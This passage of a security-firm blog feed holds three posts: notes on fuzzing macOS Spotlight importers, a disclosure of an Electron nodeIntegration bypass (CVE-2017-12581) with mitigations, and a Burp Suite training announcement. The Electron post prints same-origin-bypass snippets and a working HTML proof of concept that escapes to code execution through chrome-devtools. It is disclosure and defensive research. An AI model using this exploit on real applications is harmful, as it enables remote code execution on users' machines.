&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ mdimport -L
2017-07-30 00:36:15.518 mdimport[40541:1884333] Paths: id(501) (
    &quot;/Library/Spotlight/iBooksAuthor.mdimporter&quot;,
    &quot;/Library/Spotlight/iWork.mdimporter&quot;,
    &quot;/Library/Spotlight/Microsoft Office.mdimporter&quot;,
    &quot;/System/Library/Spotlight/Application.mdimporter&quot;,
...
    &quot;/System/Library/Spotlight/SystemPrefs.mdimporter&quot;,
    &quot;/System/Library/Spotlight/vCard.mdimporter&quot;,
    &quot;/Applications/Xcode.app/Contents/Applications/Application Loader.app/Contents/Library/Spotlight/MZSpotlight.mdimporter&quot;,
    &quot;/Applications/LibreOffice.app/Contents/Library/Spotlight/OOoSpotlightImporter.mdimporter&quot;,
    &quot;/Applications/OmniGraffle.app/Contents/Library/Spotlight/OmniGraffle.mdimporter&quot;,
    &quot;/Applications/GarageBand.app/Contents/Library/Spotlight/LogicX_MDImport.mdimporter&quot;,
    &quot;/Applications/Xcode.app/Contents/Library/Spotlight/uuid.mdimporter&quot;
)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;These .mdimporter files are actually just packages holding a binary. These binaries are what we are attacking.&lt;/p&gt;

&lt;p&gt;Using mdimport is simple - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mdimport &amp;lt;file&amp;gt;&lt;/code&gt;. Spotlight will only index metadata for filetypes having an associated importer. File types are identified through magic. For example, mdimport reads from the MAGIC environment variable or uses the “/usr/share/file/magic” directory which contains both the compiled .mgc file and the actual magic patterns. The format of magic files is discussed at &lt;a href=&quot;https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man5/magic.5.html&quot;&gt;the official Apple developer documentation&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;crash-file&quot;&gt;Crash File&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/sl-Crash_Log.png&quot; alt=&quot;crash logging&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;One thing to notice is that the crash log will contain some helpful information about the cause. The following message gets logged by both mdworker and mdimport, which share much of the same code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Application Specific Information:
import fstype:hfs fsflag:480D000 flags:40000007E diag:0 isXCode:0 uti:com.apple.truetype-datafork-suitcase-font plugin:/Library/Spotlight/Font.mdimporter - find suspect file using: sudo mdutil -t 2682437
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The 2682437 is the iNode reference number for the file in question on disk. The -t argument to mdutil will ask it to lookup the file based on volume ID and iNode and spit out the string. It performs an open and fcntl on the pseudo directory &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/.vol/&amp;lt;Volume ID&amp;gt;/&amp;lt;File iNode&amp;gt;&lt;/code&gt;. You can see this info with the stat syscall on a file.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ stat /etc
16777220 418395 lrwxr-xr-x 1 root wheel 0 11 &quot;Dec 10 05:13:41 2016&quot; &quot;Dec 10 05:13:41 2016&quot; &quot;Dec 10 05:15:47 2016&quot; &quot;Dec 10 05:13:41 2016&quot; 4096 8 0x88000 /etc

$ ls /.vol/16777220/418395
afpovertcp.cfg    fstab.hd            networks          protocols
aliases           ftpd.conf           newsyslog.conf    racoon
aliases.db        ftpd.conf.default   newsyslog.d       rc.common
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The UTI registered by the importer is also shown “com.apple.truetype-datafork-suitcase-font”. In this case, the crash is caused by a malformed Datafork TrueType suitcase (.dfont) file.&lt;/p&gt;

&lt;p&gt;When we find a bug, we can study it under lldb. Launch mdimport under the debugger with the crash file as an argument. In this particular bug it breaks with an exception in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/System/Library/Spotlight/Font.mdimporter&lt;/code&gt; importer.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/sl-crash_in_lldb.png&quot; alt=&quot;crash logging&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The screenshot below shows the problem procedure with the crashing instruction highlighted for this particular bug.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/sl-crashing_instruction.png&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The rsi register points into the memory mapped font file. A value is read out and stored in rax which is then used as an offset from rcx which points to the text segment of the executable in memory. A lookup is done on a hardcoded table and parsing proceeds from there. The integer read out of the font file is never validated.&lt;/p&gt;

&lt;p&gt;When writing or reversing a Spotlight importer, the main symbol to first look at will be GetMetadataForFile or GetMetadataForURL. This function receives a path to parse and is expected to return the metadata as a CFDictionary.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/sl-lldb_backtrace.png&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can see, from the stacktrace, how and where mdimport jumps into the GetMetadataForFile function in the Font importer. Fuzzing mdimport is straightforward, crashes and signals are easily caught.&lt;/p&gt;

&lt;p&gt;The variety of importers present on OSX are sometimes patched alongside the framework libraries, as code is shared. However, a lot of code is unique to these binaries and represents a nice attack surface. The Spotlight system is extensive, including its own query language and makes a great target where more research is needed.&lt;/p&gt;

&lt;p&gt;When fuzzing in general on OSX, disable Spotlight oversight of the folder where you generate and remove your input samples. The folder can be added in System Preferences-&amp;gt;Spotlight-&amp;gt;Privacy. You can’t fuzz mdimport from this folder, instead disable Spotlight with “mdutil -i off” and run your fuzzer from a different folder.&lt;/p&gt;

&lt;p&gt;@day6reak&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Modern Alchemy: Turning XSS into RCE</title>
   <link href="https://blog.doyensec.com/2017/08/03/electron-framework-security.html"/>
   <updated>2017-08-03T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2017/08/03/electron-framework-security</id>
   <content type="html">&lt;h3 id=&quot;tldr&quot;&gt;TL;DR&lt;/h3&gt;

&lt;p&gt;At the recent &lt;a href=&quot;https://www.blackhat.com/us-17/briefings.html#electronegativity-a-study-of-electron-security&quot;&gt;Black Hat Briefings 2017&lt;/a&gt;, Doyensec’s co-founder &lt;a href=&quot;https://twitter.com/lucacarettoni&quot;&gt;Luca Carettoni&lt;/a&gt; presented a new research on &lt;a href=&quot;https://electron.atom.io&quot;&gt;Electron&lt;/a&gt; security. 
	After a quick overview of Electron’s security model, we disclosed design weaknesses and implementation bugs that can be leveraged to compromise &lt;em&gt;any&lt;/em&gt; Electron-based application. In particular, we discussed a bypass that would allow reliable Remote Code Execution (RCE) when rendering untrusted content (for example via Cross-Site Scripting) even with framework-level protections in place.&lt;/p&gt;

&lt;p&gt;In this blog post, we would like to provide insight into the bug (CVE-2017-12581) and remediations.&lt;/p&gt;

&lt;h3 id=&quot;whats-electron&quot;&gt;What’s Electron?&lt;/h3&gt;

&lt;p&gt;While you may not recognize the name, it is likely that you’re already using Electron since it’s running on millions of computers. &lt;a href=&quot;https://electron.atom.io/apps/&quot;&gt;Slack, Atom, Visual Studio Code, WordPress Desktop, Github Desktop, Basecamp3, Mattermost&lt;/a&gt; are just few examples of applications built using this framework. Any time that a traditional web application is ported to desktop, it is likely that the developers used Electron.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/electron1.png&quot; width=&quot;550&quot; alt=&quot;Electron Motto&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;understanding-the-nodeintegration-flag&quot;&gt;Understanding the &lt;em&gt;nodeIntegration&lt;/em&gt; flag&lt;/h3&gt;

&lt;p&gt;While Electron is based on Chromium’s Content module, it is not a browser. Since it facilitates the construction of complex desktop applications, Electron gives the developer a lot of power. In fact, thanks to the integration with Node.js, JavaScript can access operating system primitives to take full advantage of native desktop mechanisms.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://electron.atom.io/docs/tutorial/security/&quot;&gt;It is well understood&lt;/a&gt; that rendering untrusted remote/local content with Node integration enabled is dangerous. For this reason, Electron provides two mechanisms to “sandbox” untrusted resources:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;BrowserWindow&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;mainWindow&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BrowserWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;  
	&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;webPreferences&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; 
		&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;nodeIntegration&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  
		&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;nodeIntegrationInWorker&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt; 
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;mainWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;loadURL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://www.doyensec.com/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;WebView&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;webview&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://www.doyensec.com/&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/webview&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In above examples, the &lt;strong&gt;nodeIntegration&lt;/strong&gt; flag is set to false. JavaScript running in the page won’t have access to global references despite having a Node.js engine running in the renderer process.&lt;/p&gt;

&lt;h3 id=&quot;hunting-for-nodeintegration-bypasses&quot;&gt;Hunting for &lt;em&gt;nodeIntegration&lt;/em&gt; bypasses&lt;/h3&gt;

&lt;p&gt;It should now be clear why &lt;em&gt;nodeIntegration&lt;/em&gt; is a critical security-relevant setting for the framework. A vulnerability in this mechanism could lead to full host compromise from simply rendering untrusted web pages. As modern alchemists, we use this type of flaws to turn traditional XSS into RCE. Since all Electron applications are bundled with the framework code, it is also complicated to fix these issues across the entire ecosystem.&lt;/p&gt;

&lt;p&gt;During our research, we have extensively analyzed all project code changes to uncover previously discovered bypasses (we counted 6 before v1.6.1) with the goal of studying Electron’s design and weaknesses. Armed with that knowledge, we went for a hunt.&lt;/p&gt;

&lt;p&gt;By studying the &lt;a href=&quot;https://electron.atom.io/docs/all/&quot;&gt;official documentation&lt;/a&gt;, we quickly identified a significant deviation from standard browsers caused by Electron’s “glorified” JavaScript APIs.&lt;/p&gt;

&lt;p&gt;When a new window is created, Electron returns an instance of &lt;a href=&quot;https://electron.atom.io/docs/all/#class-browserwindowproxy&quot;&gt;BrowserWindowProxy&lt;/a&gt;. This class can be used to manipulate the child browser window, thus subverting the Same-Origin Policy (SOP).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;SOP Bypass #1&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https://www.doyensec.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 
&lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;javascript:alert(document.domain)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;SOP Bypass #2&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https://www.doyensec.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; 
&lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;alert(document.domain)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The &lt;em&gt;eval&lt;/em&gt; mechanism used by the SOP Bypass #2 can be explained with the following diagram:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/electron2.png&quot; width=&quot;550&quot; alt=&quot;BrowserWindowProxy's Eval&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Additional source code review revealed the presence of privileged URLs (similar to browsers’ privileged zones). Combining the SOP-bypass by design with a specific privileged url defined in &lt;em&gt;lib/renderer/init.js&lt;/em&gt;, we realized that we could override the nodeIntegration setting.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/electron3.png&quot; alt=&quot;Chrome DevTools in Electron, prior to 1.6.8&quot; title=&quot;Chrome DevTools in Electron, prior to 1.6.8&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A simple, yet reliable, proof-of-concept of the nodeIntegration bypass affecting all Electron releases prior to 1.6.7 is hereby included:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;nodeIntegration bypass (SOP2RCE)&amp;lt;/title&amp;gt;
  &amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
  	&amp;lt;script&amp;gt;
    	document.write(&quot;Current location:&quot; + window.location.href + &quot;&amp;lt;br&amp;gt;&quot;);

    	const win = window.open(&quot;chrome-devtools://devtools/bundled/inspector.html&quot;);
    	win.eval(&quot;const {shell} = require('electron'); 
    	shell.openExternal('file:///Applications/Calculator.app');&quot;);
       &amp;lt;/script&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On May 10, 2017 we reported this issue to the maintainers via email. In a matter of hours, we received a reply that they were already working on a fix since the privileged &lt;em&gt;chrome-devtools://&lt;/em&gt; was discovered during an internal security activity just few days before our report. In fact, while the latest release on the official website at that time was 1.6.7, the &lt;a href=&quot;https://github.com/electron/electron/commit/05b6d91bf4c1e0ee65eeef70cd5d1bd1df125644&quot;&gt;git commit&lt;/a&gt; that fixes the privileged url is dated April 24, 2017.&lt;/p&gt;

&lt;p&gt;The issue was fixed in 1.6.8 (officially released around the 15th of May). All previous versions of Electron and consequently all Electron-based apps were affected. Mitre assigned CVE-2017-12581 for this issue.&lt;/p&gt;

&lt;h3 id=&quot;mitigating-nodeintegration-bypass-vulnerabilities&quot;&gt;Mitigating nodeIntegration bypass vulnerabilities&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Keep your application in sync with the latest Electron framework release.&lt;/strong&gt; When releasing your product, you’re also shipping a bundle composed of Electron, Chromium shared library and Node. Vulnerabilities affecting these components may impact the security of your application. By updating Electron to the latest version, you ensure that critical vulnerabilities (such as nodeIntegration bypasses) are already patched and cannot be exploited to abuse your application.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Adopt secure coding practices.&lt;/strong&gt; The first line of defense for your application is your own code. Common web vulnerabilities, such as Cross-Site Scripting (XSS), have a higher security impact on Electron hence it is highly recommend to adopt secure software development best practices and perform periodic security testing.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Know your framework (and its limitations).&lt;/strong&gt; Certain principles and security mechanisms implemented by modern browsers are not enforced in Electron (e.g. SOP enforcement). Adopt defense in depth mechanisms to mitigate those deficiencies. For more details, please refer to our &lt;a href=&quot;https://doyensec.com/resources/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security.pdf&quot;&gt;Electronegativity, A study of Electron Security&lt;/a&gt; presentation and &lt;a href=&quot;https://doyensec.com/resources/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security-wp.pdf&quot;&gt;Electron Security Checklist&lt;/a&gt; white-paper.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Use the recent “sandbox” experimental feature.&lt;/strong&gt; Even with nodeIntegration disabled, the current implementation of Electron does not completely mitigate all risks introduced by loading untrusted resources. As such, it is recommended to enable &lt;a href=&quot;https://electron.atom.io/docs/api/sandbox-option/&quot;&gt;sandboxing&lt;/a&gt; which leverages the native Chromium sandbox. A sandboxed renderer does not have a Node.js environment running (with the exception of preload scripts) and the renderers can only make changes to the system by delegating tasks to the main process via IPC. While still not perfect at the time of writing (there are known security issues, sandbox is not supported for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;webview&amp;gt;&lt;/code&gt; tag, etc.) this option should be enabled to provide additional isolation.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Developing Burp Suite Extensions training</title>
   <link href="https://blog.doyensec.com/2017/03/02/training-burp.html"/>
   <updated>2017-03-02T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2017/03/02/training-burp</id>
   <content type="html">&lt;div class=&quot;message&quot;&gt;
We couldn't be more excited to present our brand-new class on web security and security automation. This blog post provides a quick overview of the 8-hours workshop. 
&lt;/div&gt;

&lt;h3 id=&quot;title&quot;&gt;Title&lt;/h3&gt;

&lt;p&gt;Developing Burp Suite Extensions - From manual testing to security automation.&lt;/p&gt;

&lt;h3 id=&quot;overview&quot;&gt;Overview&lt;/h3&gt;

&lt;p&gt;Ensuring the security of web applications in continuous delivery environments is an open challenge for many organizations. Traditional application security practices slow development and, in many cases, don’t address security at all. Instead, a new approach based on security automation and tactical security testing is needed to ensure important components are being tested before going live. Security professionals must master their tools to improve the efficiency of manual security testing as well as to deploy custom security automation solutions.&lt;/p&gt;

&lt;p&gt;Based on this premise, we have created a brand-new class taking advantage of &lt;a href=&quot;https://portswigger.net/burp/&quot;&gt;Burp Suite&lt;/a&gt; - the de-facto standard for web application security. In just eight hours, we show you how to use Burp Suite’s extension capabilities and unleash the power of the tool to improve efficiency and effectiveness during security audits.&lt;/p&gt;

&lt;p&gt;After a quick intro to Burp and its extension APIs, we work on setting up an optimal development environment enabling fast coding and debugging. While we develop our code using Oracle’s Netbeans, we also provide templates for IntelliJ IDEA and Eclipse.&lt;/p&gt;

&lt;p&gt;We will create many different types of plugins:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;Extension #1&lt;/em&gt;: A custom logger to provide persistency and data export functionalities&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Extension #2&lt;/em&gt;: A simple (and yet useful) replay tool&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Extension #3&lt;/em&gt;: Active check for Burp’s scanning engine&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Extension #4&lt;/em&gt;: Passive check for Burp’s scanning engine&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finally, we leverage our extensions to build a security automation toolchain integrated in a CI environment (Jenkins). This workshop is based on real-life use cases where the combination of custom checks and automation can help uncovering nasty security vulnerabilities.&lt;/p&gt;

&lt;p&gt;All templates and code-complete Burp Suite extensions will be available for free on &lt;a href=&quot;https://github.com/doyensec/burpdeveltraining&quot;&gt;Doyensec’s Github&lt;/a&gt;. If you are curious, we’ve already uploaded the first three modules.&lt;/p&gt;

&lt;h3 id=&quot;audience&quot;&gt;Audience&lt;/h3&gt;

&lt;p&gt;The training is suitable for both web application security specialists and developers. Attendees are expected to have rudimental understanding of Burp Suite as well as basic object-oriented programming experience (Burp extensions will be developed in Java).&lt;/p&gt;

&lt;h3 id=&quot;requirements&quot;&gt;Requirements&lt;/h3&gt;

&lt;p&gt;Attendees should bring their own laptop with the latest Java as well as their favourite IDE installed.&lt;/p&gt;

&lt;h3 id=&quot;upcoming-dates&quot;&gt;Upcoming dates&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Location&lt;/th&gt;
      &lt;th&gt;Date&lt;/th&gt;
      &lt;th&gt;Notes&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Heidelberg&lt;br /&gt;(Germany)&lt;/td&gt;
      &lt;td&gt;March 21, 2017&lt;/td&gt;
      &lt;td&gt;Delivered during &lt;a href=&quot;https://www.troopers.de/events/troopers17/720_developing_burp_suite_extensions_-_from_manual_testing_to_security_automation/&quot;&gt;Troopers 2017 security conference&lt;/a&gt;. There are still seats available. &lt;b&gt;Book it today and get Burp swag during the training!&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Warsaw&lt;br /&gt;(Poland)&lt;/td&gt;
      &lt;td&gt;June 5, 2017&lt;/td&gt;
      &lt;td&gt;Come for &lt;a href=&quot;http://warcon.pl/&quot;&gt;WarCon invite-only conference&lt;/a&gt;, stay for the training!&lt;br /&gt;For registration, please contact &lt;a href=&quot;mailto:info@doyensec.com&quot;&gt;info@doyensec.com&lt;/a&gt; with subject line &quot;Burp Training Post-WarCon&quot;.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;private-training&quot;&gt;Private training&lt;/h3&gt;

&lt;p&gt;This training is delivered worldwide (English language) during both public and private events. Considering that the class is hands-on, we are able to accept up to 15 attendees. Video recording available on request.&lt;/p&gt;

&lt;p&gt;Feel free to contact us at &lt;a href=&quot;mailto:info@doyensec.com&quot;&gt;info@doyensec.com&lt;/a&gt; for scheduling your class!&lt;/p&gt;
</content>
 </entry>
 

</feed>
